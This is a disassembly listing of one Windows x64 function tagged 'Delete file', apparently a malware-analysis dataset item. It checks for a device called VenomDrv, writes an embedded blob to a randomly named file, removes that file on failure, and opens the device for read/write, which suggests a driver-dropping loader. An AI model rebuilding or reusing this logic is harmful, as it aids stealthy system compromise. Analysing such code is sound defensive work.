Function at 0x140136e20
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x30], 0
lea rcx, str..VenomDrv
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140136eaa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x190
pop rbp
ret
xorps xmm0, xmm0
mov qword [rsp + 0x1a8], rdi
xor eax, eax
movups xmmword [0x14051e2b0], xmm0
mov dword [0x14051e310], eax
movups xmmword [0x14051e2c0], xmm0
movups xmmword [0x14051e2d0], xmm0
movups xmmword [0x14051e2e0], xmm0
movups xmmword [0x14051e2f0], xmm0
movups xmmword [0x14051e300], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x140136f81
mov qword [rsp + 0x1a0], rsi
xor ebx, ebx
mov qword [rsp + 0x1b0], r14
lea rsi, [0x140000000]
movabs r14, 0x4ec4ec4ec4ec4ec5
nop word [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x492300]
mov byte [rbx + rsi + 0x51e2b0], al
inc rbx
cmp rbx, rdi
jl 0x140136f40
mov r14, qword [rsp + 0x1b0]
mov rsi, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x40]
call fcn.140136a70
cmp qword [rsp + 0x50], 0
mov rdi, qword [rsp + 0x1a8]
je 0x140137201
cmp qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
cmova rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
cmp qword [rsp + 0x58], 7
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
cmova rdx, qword [rsp + 0x40]
call fcn.14013a550
mov r8d, 0x4320
lea rdx, [0x1404c3e30]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp - 0x78]
test byte [rdx + rax + 0x10], 6
je 0x140137067
call fcn.14013a8e0
test rax, rax
jne 0x14013701f
mov rax, qword [rbp - 0x80]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.14013a440
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140137201
call fcn.14013a8e0
test rax, rax
jne 0x14013708d
mov rax, qword [rbp - 0x80]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.14013a440
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x40]
call fcn.14013f410
test al, al
jne 0x1401370fa
cmp qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
cmova rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140137201
mov qword [rsp + 0x30], 0
lea rcx, str..VenomDrv
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1401371f9
movdqa xmm1, xmmword [reloc.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov eax, dword [0x140492420]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
movsd xmm0, qword [0x140492418]
movsd qword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x6c], 0
call fcn.14013fbd0
mov rdx, qword [rsp + 0x78]
mov qword [0x14051e318], rax
cmp rdx, 0xf
jbe 0x1401371c6
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401371ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401371ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401c7f18
mov rax, qword [0x14051e318]
mov rcx, rbx
test rax, rax
je 0x1401371fc
call fcn.140138680
mov rcx, rbx
test al, al
je 0x1401371fc
call fcn.140138fe0
mov rcx, rbx
test al, al
je 0x1401371fc
call fcn.140137a50
mov rcx, rbx
test al, al
je 0x1401371fc
call fcn.140137e20
jmp 0x140137208
mov rcx, rbx
call fcn.140137270
mov rbx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14013724d
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140137248
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140137248
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401c7f18
mov rax, rbx
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x190
pop rbp
ret